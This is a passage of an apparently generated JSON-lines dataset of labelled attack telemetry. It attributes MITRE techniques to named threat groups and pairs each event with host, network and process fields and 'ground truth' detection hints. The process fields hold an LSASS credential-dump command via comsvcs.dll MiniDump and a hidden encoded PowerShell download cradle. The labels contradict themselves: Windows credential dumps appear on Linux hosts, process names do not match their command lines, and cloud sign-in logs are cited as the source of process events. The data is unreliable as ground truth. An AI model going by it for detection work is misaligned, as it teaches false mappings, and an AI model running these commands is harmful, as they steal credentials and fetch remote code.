UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-10T06:26:06.000Z","user":{"name":"i-a381b86ad4ep","sid":"S-1-5-21-611324265-539627930-8481"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Initial Access","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250517T235348000Z_0003591","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.88.223.188","name":"WIN-FIN-SRV-JOG28H97RB","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3591Scattered SpiderT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.62.58.217","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1450 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-06T17:43:30.000Z","user":{"name":"svc_bn8htizuqmej","sid":"S-1-5-21-603081224-634819993-4587"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20260915T065746000Z_0003593","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.221.53.44","name":"DB-ORACLE-GD8037VQPG","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3593Scattered SpiderT1546.003"},"network":{"domain":"github.com","dst_ip":"1.89.214.6","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3776 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-12-31T01:30:29.000Z","user":{"name":"arn:aws:iam::zx9ikc5uv6sb","sid":"S-1-5-21-652754286-986383601-7302"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Initial Access"],"technique_id":"T1071.001"},"event_id":"evt_apt41_20250418T213047000Z_0003595","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.99.135.146","name":"IAM-ROLE-BZZI6BKWRT","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3595APT41T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.90.19.228","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-09-13T23:40:02.000Z","user":{"name":"CORP\\1j94h8pnq8r4","sid":"S-1-5-21-505083273-343158607-6221"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance","Defense Evasion","Privilege Escalation"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20251120T133728000Z_0003597","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.255.231.94","name":"AZURE-VM-5LV4BVKSAV","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3597Mustang PandaT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.64.99.34","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-03-09T21:58:40.000Z","user":{"name":"azuread\\ne0wjesf714w","sid":"S-1-5-21-361529393-539346747-8022"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Collection","Reconnaissance"],"technique_id":"T1059.001"},"event_id":"evt_mustangpanda_20251031T025845000Z_0003599","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.81.180.203","name":"IAM-ROLE-QT7OJAJXMV","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3599Mustang PandaT1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.32.243.241","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-18T17:15:40.000Z","user":{"name":"svc_rycgz81prb80","sid":"S-1-5-21-943879106-769145188-5966"}}